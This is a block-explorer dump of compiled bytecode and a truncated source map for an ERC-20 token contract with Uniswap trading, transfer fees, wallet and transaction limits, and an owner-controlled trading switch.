f835146103515780632b112e49146103855780632df671091461039a5780632f0a5fd4146103b057600080fd5b806306fdde031461024b5780630930907b14610276578063095ea7b3146102c25780631694505e146102f257806318160ddd1461031257600080fd5b3661024657005b600080fd5b34801561025757600080fd5b50610260610768565b60405161026d9190611b8b565b60405180910390f35b34801561028257600080fd5b506102aa7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161026d565b3480156102ce57600080fd5b506102e26102dd366004611bf1565b6107fa565b604051901515815260200161026d565b3480156102fe57600080fd5b506010546102aa906001600160a01b031681565b34801561031e57600080fd5b50600b545b60405190815260200161026d565b34801561033d57600080fd5b506102e261034c366004611c1d565b610811565b34801561035d57600080fd5b506102aa7f000000000000000000000000000000000000000000000000000000000000000081565b34801561039157600080fd5b5061032361087c565b3480156103a657600080fd5b5061032360135481565b3480156103bc57600080fd5b5061032360145481565b3480156103d257600080fd5b5060045460405160ff909116815260200161026d565b3480156103f457600080fd5b506102e2610403366004611bf1565b6108ea565b34801561041457600080fd5b506011546102aa906001600160a01b031681565b34801561043457600080fd5b506011546102e290600160a81b900460ff1681565b34801561045557600080fd5b506102e2610464366004611c5e565b60076020526000908152604090205460ff1681565b34801561048557600080fd5b5061032360155481565b34801561049b57600080fd5b506103236104aa366004611c5e565b610920565b3480156104bb57600080fd5b506104c461093b565b005b3480156104d257600080fd5b506104c46109be565b3480156104e757600080fd5b50610323600e5481565b3480156104fd57600080fd5b50610323600d5481565b34801561051357600080fd5b5061032360175481565b34801561052957600080fd5b506104c4610a39565b34801561053e57600080fd5b506102e261054d366004611c5e565b600a6020526000908152604090205460ff1681565b34801561056e57600080fd5b506000546001600160a01b03166102aa565b34801561058c57600080fd5b506001546102aa906001600160a01b031681565b3480156105ac57600080fd5b50610323600c5481565b3480156105c257600080fd5b506102e26105d1366004611c5e565b60086020526000908152604090205460ff1681565b3480156105f257600080fd5b50610260610ad6565b34801561060757600080fd5b506102e2610616366004611bf1565b610ae5565b34801561062757600080fd5b506102e2610636366004611bf1565b610b34565b34801561064757600080fd5b5061032360125481565b34801561065d57600080fd5b506102e261066c366004611c5e565b60096020526000908152604090205460ff1681565b34801561068d57600080fd5b506011546102e290600160b01b900460ff1681565b3480156106ae57600080fd5b506103236106bd366004611c7b565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6104c4610b41565b3480156106fc57600080fd5b5061032360165481565b34801561071257600080fd5b506104c4610721366004611c5e565b610e14565b34801561073257600080fd5b506011546102e290600160c01b900460ff1681565b34801561075357600080fd5b506011546102e290600160b81b900460ff1681565b60606002805461077790611cb4565b80601f01602080910402602001604051908101604052809291908181526020018280546107a390611cb4565b80156107f05780601f106107c5576101008083540402835291602001916107f0565b820191906000526020600020905b8154815290600101906020018083116107d357829003601f168201915b5050505050905090565b6000610807338484610efe565b5060015b92915050565b600061081e848484611022565b50610871843361086c85604051806060016040528060288152602001611e65602891396001600160a01b038a16600090815260066020908152604080832033845290915290205491906116c1565b610efe565b5060015b9392505050565b60006108e56108aa7f0000000000000000000000000000000000000000000000000000000000000000610920565b6108df6108d67f0000000000000000000000000000000000000000000000000000000000000000610920565b600b54906116fb565b906116fb565b905090565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161080791859061086c908661173d565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b0316331461096e5760405162461bcd60e51b815260040161096590611ce8565b60405180910390fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b031633146109e85760405162461bcd60e51b815260040161096590611ce8565b600060128190556002601381905560148290556015819055610a0a919061173d565b601655601554601454610a1c9161173d565b601755600019600d819055600e556011805460ff60c01b19169055565b6000546001600160a01b03163314610a635760405162461bcd60e51b815260040161096590611ce8565b601154600160b81b900460ff1615610abd5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610965565b6011805462ff00ff60a81b19166201000160a81b179055565b60606003805461077790611cb4565b6000610807338461086c85604051806060016040528060258152602001611e8d602591393360009081526006602090815260408083206001600160a01b038d16845290915290205491906116c1565b6000610871338484611022565b6000546001600160a01b03163314610b6b5760405162461bcd60e51b815260040161096590611ce8565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610bcf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf39190611d1d565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c799190611d1d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610cc6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cea9190611d1d565b601180546001600160a01b0319166001600160a01b0392831690811782556000908152600860209081526040808320805460ff19908116600190811790925594548616845260099092529091208054909216179055601054610d5191309116600019610efe565b6010546001600160a01b031663f305d7193430610d6d81610920565b600080610d826000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610dea573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e0f9190611d3a565b505050565b6000546001600160a01b03163314610e3e5760405162461bcd60e51b815260040161096590611ce8565b6001600160a01b038116610ea35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610965565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610f605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610965565b6001600160a01b038216610fc15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610965565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166110885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610965565b6001600160a01b0383166110ea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610965565b600082116111505760405162461bcd60e51b815260206004820152602d60248201527f45524332303a207472616e7366657220616d6f756e74206d757374206772656160448201526c746572207468616e207a65726f60981b6064820152608401610965565b601154600160b81b900460ff168061118057506001600160a01b03841660009081526007602052604090205460ff165b806111a357506001600160a01b03831660009081526007602052604090205460ff165b6111dd5760405162461bcd60e51b815260206004820152600b60248201526a139bdd08115b98589b195960aa1b6044820152606401610965565b601154600160a01b900460ff16806111ff5750601154600160a81b900460ff16155b156112165761120f84848461179c565b9050610875565b6001600160a01b0384166000908152600a602052604090205460ff1615801561125857506001600160a01b0383166000908152600a602052604090205460ff16155b156112c057600e548211156112c05760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610965565b60006112cb30610920565b90506000600c5482101580156112e35750600c548410155b90508080156112fc5750601154600160a01b900460ff16155b801561132057506001600160a01b03851660009081526008602052604090205460ff165b80156113355750601154600160a81b900460ff165b801561135a57506001600160a01b03861660009081526007602052604090205460ff16155b801561137f57506001600160a01b03851660009081526007602052604090205460ff16155b156113a557601154600160b01b900460ff161561139c57600c5491505b6113a584611882565b601154600160c01b900460ff1680156113d757506001600160a01b03851660009081526009602052604090205460ff16155b1561146d57600d5461141161140260646113fc6017548961191a90919063ffffffff16565b9061199c565b61140b88610920565b9061173d565b111561146d5760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610965565b6001600160a01b0386166000908152600a602052604081205485919060ff1615806114b157506001600160a01b0387166000908152600a602052604090205460ff16155b806114f657506001600160a01b03871660009081526008602052604090205460ff16806114f657506001600160a01b03881660009081526008602052604090205460ff165b15611606576001600160a01b03871660009081526008602052604081205460ff161561153d5761153660646113fc6016548a61191a90919063ffffffff16565b905061157b565b6001600160a01b03891660009081526008602052604090205460ff161561157b5761157860646113fc6017548a61191a90919063ffffffff16565b90505b80156115f5573060009081526005602052604090205461159b908261173d565b30600081815260056020526040908190209290925590516001600160a01b038b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115ec9085815260200190565b60405180910390a35b82915061160282826116fb565b9250505b6001600160a01b03881660009081526005602052604090205461162990826116fb565b6001600160a01b03808a166000908152600560205260408082209390935590891681522054611658908361173d565b6001600160a01b0380891660008181526005602052604090819020939093559151908a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116ac9086815260200190565b60405180910390a36001945050505050610875565b600081848411156116e55760405162461bcd60e51b81526004016109659190611b8b565b5060006116f28486611d7e565b95945050505050565b600061087583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116c1565b60008061174a8385611d91565b9050838110156108755760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610965565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526005909152918220546117ed9184906116c1565b6001600160a01b03808616600090815260056020526040808220939093559085168152205461181c908361173d565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118709086815260200190565b60405180910390a35060019392505050565b6011805460ff60a01b1916600160a01b17905560006118a030610920565b905060006118b9836118b484600f546119de565b6119de565b90506118c4816119f3565b478015611907576001546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611905573d6000803e3d6000fd5b505b50506011805460ff60a01b191690555050565b60008260000361192c5750600061080b565b60006119388385611da4565b9050826119458583611dbb565b146108755760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610965565b600061087583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b5d565b60008183116119ed5782610875565b50919050565b6040805160028082526060820183526000926020830190803683375050601054604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015611a5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a819190611d1d565b81600181518110611a9457611a94611ddd565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600081518110611ac857611ac8611ddd565b6001600160a01b039283166020918202929092010152601054611aee9130911684610efe565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790611b27908590600090869030904290600401611df3565b600060405180830381600087803b158015611b4157600080fd5b505af1158015611b55573d6000803e3d6000fd5b505050505050565b60008183611b7e5760405162461bcd60e51b81526004016109659190611b8b565b5060006116f28486611dbb565b600060208083528351808285015260005b81811015611bb857858101830151858201604001528201611b9c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611bee57600080fd5b50565b60008060408385031215611c0457600080fd5b8235611c0f81611bd9565b946020939093013593505050565b600080600060608486031215611c3257600080fd5b8335611c3d81611bd9565b92506020840135611c4d81611bd9565b929592945050506040919091013590565b600060208284031215611c7057600080fd5b813561087581611bd9565b60008060408385031215611c8e57600080fd5b8235611c9981611bd9565b91506020830135611ca981611bd9565b809150509250929050565b600181811c90821680611cc857607f821691505b6020821081036119ed57634e487b7160e01b600052602260045260246000fd5b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d2f57600080fd5b815161087581611bd9565b600080600060608486031215611d4f57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b8181038181111561080b5761080b611d68565b8082018082111561080b5761080b611d68565b808202811582820484141761080b5761080b611d68565b600082611dd857634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e435784516001600160a01b031683529383019391830191600101611e1e565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208c61c1518456ebd6816193a5f7824f3318e33291d756523154d81e3f274e3a2464736f6c63430008130033

Deployed Bytecode

0x60806040526004361061023f5760003560e01c8063807c2d9c1161012e578063a9059cbb116100ab578063e8078d941161006f578063e8078d94146106e8578063f0cd1dac146106f0578063f2fde38b14610706578063f872858a14610726578063ffb54a991461074757600080fd5b8063a9059cbb1461061b578063b6c3af341461063b578063c867d60b14610651578063d115936014610681578063dd62ed3e146106a257600080fd5b80638ea5220f116100f25780638ea5220f146105805780638f3d6e04146105a057806390aa2ea6146105b657806395d89b41146105e6578063a457c2d7146105fb57600080fd5b8063807c2d9c146104f157806382eefb43146105075780638a8c523c1461051d5780638b42507f146105325780638da5cb5b1461056257600080fd5b8063313ce567116101bc578063661b6e3611610180578063661b6e361461047957806370a082311461048f578063715018a6146104af578063751039fc146104c65780637d1db4a5146104db57600080fd5b8063313ce567146103c657806339509351146103e857806349bd5a5e146104085780634a74bb02146104285780634fbee1931461044957600080fd5b806323b872dd1161020357806323b872dd1461033157806327c8f835146103515780632b112e49146103855780632df671091461039a5780632f0a5fd4146103b057600080fd5b806306fdde031461024b5780630930907b14610276578063095ea7b3146102c25780631694505e146102f257806318160ddd1461031257600080fd5b3661024657005b600080fd5b34801561025757600080fd5b50610260610768565b60405161026d9190611b8b565b60405180910390f35b34801561028257600080fd5b506102aa7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161026d565b3480156102ce57600080fd5b506102e26102dd366004611bf1565b6107fa565b604051901515815260200161026d565b3480156102fe57600080fd5b506010546102aa906001600160a01b031681565b34801561031e57600080fd5b50600b545b60405190815260200161026d565b34801561033d57600080fd5b506102e261034c366004611c1d565b610811565b34801561035d57600080fd5b506102aa7f000000000000000000000000000000000000000000000000000000000000dead81565b34801561039157600080fd5b5061032361087c565b3480156103a657600080fd5b5061032360135481565b3480156103bc57600080fd5b5061032360145481565b3480156103d257600080fd5b5060045460405160ff909116815260200161026d565b3480156103f457600080fd5b506102e2610403366004611bf1565b6108ea565b34801561041457600080fd5b506011546102aa906001600160a01b031681565b34801561043457600080fd5b506011546102e290600160a81b900460ff1681565b34801561045557600080fd5b506102e2610464366004611c5e565b60076020526000908152604090205460ff1681565b34801561048557600080fd5b5061032360155481565b34801561049b57600080fd5b506103236104aa366004611c5e565b610920565b3480156104bb57600080fd5b506104c461093b565b005b3480156104d257600080fd5b506104c46109be565b3480156104e757600080fd5b50610323600e5481565b3480156104fd57600080fd5b50610323600d5481565b34801561051357600080fd5b5061032360175481565b34801561052957600080fd5b506104c4610a39565b34801561053e57600080fd5b506102e261054d366004611c5e565b600a6020526000908152604090205460ff1681565b34801561056e57600080fd5b506000546001600160a01b03166102aa565b34801561058c57600080fd5b506001546102aa906001600160a01b031681565b3480156105ac57600080fd5b50610323600c5481565b3480156105c257600080fd5b506102e26105d1366004611c5e565b60086020526000908152604090205460ff1681565b3480156105f257600080fd5b50610260610ad6565b34801561060757600080fd5b506102e2610616366004611bf1565b610ae5565b34801561062757600080fd5b506102e2610636366004611bf1565b610b34565b34801561064757600080fd5b5061032360125481565b34801561065d57600080fd5b506102e261066c366004611c5e565b60096020526000908152604090205460ff1681565b34801561068d57600080fd5b506011546102e290600160b01b900460ff1681565b3480156106ae57600080fd5b506103236106bd366004611c7b565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6104c4610b41565b3480156106fc57600080fd5b5061032360165481565b34801561071257600080fd5b506104c4610721366004611c5e565b610e14565b34801561073257600080fd5b506011546102e290600160c01b900460ff1681565b34801561075357600080fd5b506011546102e290600160b81b900460ff1681565b60606002805461077790611cb4565b80601f01602080910402602001604051908101604052809291908181526020018280546107a390611cb4565b80156107f05780601f106107c5576101008083540402835291602001916107f0565b820191906000526020600020905b8154815290600101906020018083116107d357829003601f168201915b5050505050905090565b6000610807338484610efe565b5060015b92915050565b600061081e848484611022565b50610871843361086c85604051806060016040528060288152602001611e65602891396001600160a01b038a16600090815260066020908152604080832033845290915290205491906116c1565b610efe565b5060015b9392505050565b60006108e56108aa7f0000000000000000000000000000000000000000000000000000000000000000610920565b6108df6108d67f000000000000000000000000000000000000000000000000000000000000dead610920565b600b54906116fb565b906116fb565b905090565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161080791859061086c908661173d565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b0316331461096e5760405162461bcd60e51b815260040161096590611ce8565b60405180910390fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b031633146109e85760405162461bcd60e51b815260040161096590611ce8565b600060128190556002601381905560148290556015819055610a0a919061173d565b601655601554601454610a1c9161173d565b601755600019600d819055600e556011805460ff60c01b19169055565b6000546001600160a01b03163314610a635760405162461bcd60e51b815260040161096590611ce8565b601154600160b81b900460ff1615610abd5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610965565b6011805462ff00ff60a81b19166201000160a81b179055565b60606003805461077790611cb4565b6000610807338461086c85604051806060016040528060258152602001611e8d602591393360009081526006602090815260408083206001600160a01b038d16845290915290205491906116c1565b6000610871338484611022565b6000546001600160a01b03163314610b6b5760405162461bcd60e51b815260040161096590611ce8565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610bcf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf39190611d1d565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c799190611d1d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610cc6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cea9190611d1d565b601180546001600160a01b0319166001600160a01b0392831690811782556000908152600860209081526040808320805460ff19908116600190811790925594548616845260099092529091208054909216179055601054610d5191309116600019610efe565b6010546001600160a01b031663f305d7193430610d6d81610920565b600080610d826000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610dea573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e0f9190611d3a565b505050565b6000546001600160a01b03163314610e3e5760405162461bcd60e51b815260040161096590611ce8565b6001600160a01b038116610ea35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610965565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610f605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610965565b6001600160a01b038216610fc15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610965565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166110885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610965565b6001600160a01b0383166110ea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610965565b600082116111505760405162461bcd60e51b815260206004820152602d60248201527f45524332303a207472616e7366657220616d6f756e74206d757374206772656160448201526c746572207468616e207a65726f60981b6064820152608401610965565b601154600160b81b900460ff168061118057506001600160a01b03841660009081526007602052604090205460ff165b806111a357506001600160a01b03831660009081526007602052604090205460ff165b6111dd5760405162461bcd60e51b815260206004820152600b60248201526a139bdd08115b98589b195960aa1b6044820152606401610965565b601154600160a01b900460ff16806111ff5750601154600160a81b900460ff16155b156112165761120f84848461179c565b9050610875565b6001600160a01b0384166000908152600a602052604090205460ff1615801561125857506001600160a01b0383166000908152600a602052604090205460ff16155b156112c057600e548211156112c05760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610965565b60006112cb30610920565b90506000600c5482101580156112e35750600c548410155b90508080156112fc5750601154600160a01b900460ff16155b801561132057506001600160a01b03851660009081526008602052604090205460ff165b80156113355750601154600160a81b900460ff165b801561135a57506001600160a01b03861660009081526007602052604090205460ff16155b801561137f57506001600160a01b03851660009081526007602052604090205460ff16155b156113a557601154600160b01b900460ff161561139c57600c5491505b6113a584611882565b601154600160c01b900460ff1680156113d757506001600160a01b03851660009081526009602052604090205460ff16155b1561146d57600d5461141161140260646113fc6017548961191a90919063ffffffff16565b9061199c565b61140b88610920565b9061173d565b111561146d5760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610965565b6001600160a01b0386166000908152600a602052604081205485919060ff1615806114b157506001600160a01b0387166000908152600a602052604090205460ff16155b806114f657506001600160a01b03871660009081526008602052604090205460ff16806114f657506001600160a01b03881660009081526008602052604090205460ff165b15611606576001600160a01b03871660009081526008602052604081205460ff161561153d5761153660646113fc6016548a61191a90919063ffffffff16565b905061157b565b6001600160a01b03891660009081526008602052604090205460ff161561157b5761157860646113fc6017548a61191a90919063ffffffff16565b90505b80156115f5573060009081526005602052604090205461159b908261173d565b30600081815260056020526040908190209290925590516001600160a01b038b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115ec9085815260200190565b60405180910390a35b82915061160282826116fb565b9250505b6001600160a01b03881660009081526005602052604090205461162990826116fb565b6001600160a01b03808a166000908152600560205260408082209390935590891681522054611658908361173d565b6001600160a01b0380891660008181526005602052604090819020939093559151908a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116ac9086815260200190565b60405180910390a36001945050505050610875565b600081848411156116e55760405162461bcd60e51b81526004016109659190611b8b565b5060006116f28486611d7e565b95945050505050565b600061087583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116c1565b60008061174a8385611d91565b9050838110156108755760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610965565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526005909152918220546117ed9184906116c1565b6001600160a01b03808616600090815260056020526040808220939093559085168152205461181c908361173d565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118709086815260200190565b60405180910390a35060019392505050565b6011805460ff60a01b1916600160a01b17905560006118a030610920565b905060006118b9836118b484600f546119de565b6119de565b90506118c4816119f3565b478015611907576001546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611905573d6000803e3d6000fd5b505b50506011805460ff60a01b191690555050565b60008260000361192c5750600061080b565b60006119388385611da4565b9050826119458583611dbb565b146108755760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610965565b600061087583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b5d565b60008183116119ed5782610875565b50919050565b6040805160028082526060820183526000926020830190803683375050601054604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015611a5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a819190611d1d565b81600181518110611a9457611a94611ddd565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600081518110611ac857611ac8611ddd565b6001600160a01b039283166020918202929092010152601054611aee9130911684610efe565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790611b27908590600090869030904290600401611df3565b600060405180830381600087803b158015611b4157600080fd5b505af1158015611b55573d6000803e3d6000fd5b505050505050565b60008183611b7e5760405162461bcd60e51b81526004016109659190611b8b565b5060006116f28486611dbb565b600060208083528351808285015260005b81811015611bb857858101830151858201604001528201611b9c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611bee57600080fd5b50565b60008060408385031215611c0457600080fd5b8235611c0f81611bd9565b946020939093013593505050565b600080600060608486031215611c3257600080fd5b8335611c3d81611bd9565b92506020840135611c4d81611bd9565b929592945050506040919091013590565b600060208284031215611c7057600080fd5b813561087581611bd9565b60008060408385031215611c8e57600080fd5b8235611c9981611bd9565b91506020830135611ca981611bd9565b809150509250929050565b600181811c90821680611cc857607f821691505b6020821081036119ed57634e487b7160e01b600052602260045260246000fd5b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d2f57600080fd5b815161087581611bd9565b600080600060608486031215611d4f57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b8181038181111561080b5761080b611d68565b8082018082111561080b5761080b611d68565b808202811582820484141761080b5761080b611d68565b600082611dd857634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e435784516001600160a01b031683529383019391830191600101611e1e565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208c61c1518456ebd6816193a5f7824f3318e33291d756523154d81e3f274e3a2464736f6c63430008130033

Deployed Bytecode Sourcemap

12725:12118:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15619:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13014:90;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;731:32:1;;;713:51;;701:2;686:18;13014:90:0;567:203:1;17009:186:0;;;;;;;;;;-1:-1:-1;17009:186:0;;;;;:::i;:::-;;:::i;:::-;;;1396:14:1;;1389:22;1371:41;;1359:2;1344:18;17009:186:0;1231:187:1;13957:41:0;;;;;;;;;;-1:-1:-1;13957:41:0;;;;-1:-1:-1;;;;;13957:41:0;;;15896:100;;;;;;;;;;-1:-1:-1;15976:12:0;;15896:100;;;1804:25:1;;;1792:2;1777:18;15896:100:0;1658:177:1;18209:446:0;;;;;;;;;;-1:-1:-1;18209:446:0;;;;;:::i;:::-;;:::i;12917:90::-;;;;;;;;;;;;;;;17548:201;;;;;;;;;;;;;:::i;14293:37::-;;;;;;;;;;;;;;;;14339;;;;;;;;;;;;;;;;15805:83;;;;;;;;;;-1:-1:-1;15871:9:0;;15805:83;;15871:9;;;;2443:36:1;;2431:2;2416:18;15805:83:0;2301:184:1;16307:293:0;;;;;;;;;;-1:-1:-1;16307:293:0;;;;;:::i;:::-;;:::i;14005:28::-;;;;;;;;;;-1:-1:-1;14005:28:0;;;;-1:-1:-1;;;;;14005:28:0;;;14072:41;;;;;;;;;;-1:-1:-1;14072:41:0;;;;-1:-1:-1;;;14072:41:0;;;;;;13363:50;;;;;;;;;;-1:-1:-1;13363:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14383:38;;;;;;;;;;;;;;;;16004:119;;;;;;;;;;-1:-1:-1;16004:119:0;;;;;:::i;:::-;;:::i;4308:267::-;;;;;;;;;;;;;:::i;:::-;;19622:447;;;;;;;;;;;;;:::i;13812:60::-;;;;;;;;;;;;;;;;13742:58;;;;;;;;;;;;;;;;14469:33;;;;;;;;;;;;;;;;19433:181;;;;;;;;;;;;;:::i;13543:47::-;;;;;;;;;;-1:-1:-1;13543:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4094:79;;;;;;;;;;-1:-1:-1;4132:7:0;4159:6;-1:-1:-1;;;;;4159:6:0;4094:79;;12813:95;;;;;;;;;;-1:-1:-1;12813:95:0;;;;-1:-1:-1;;;;;12813:95:0;;;13668:65;;;;;;;;;;;;;;;;13420:56;;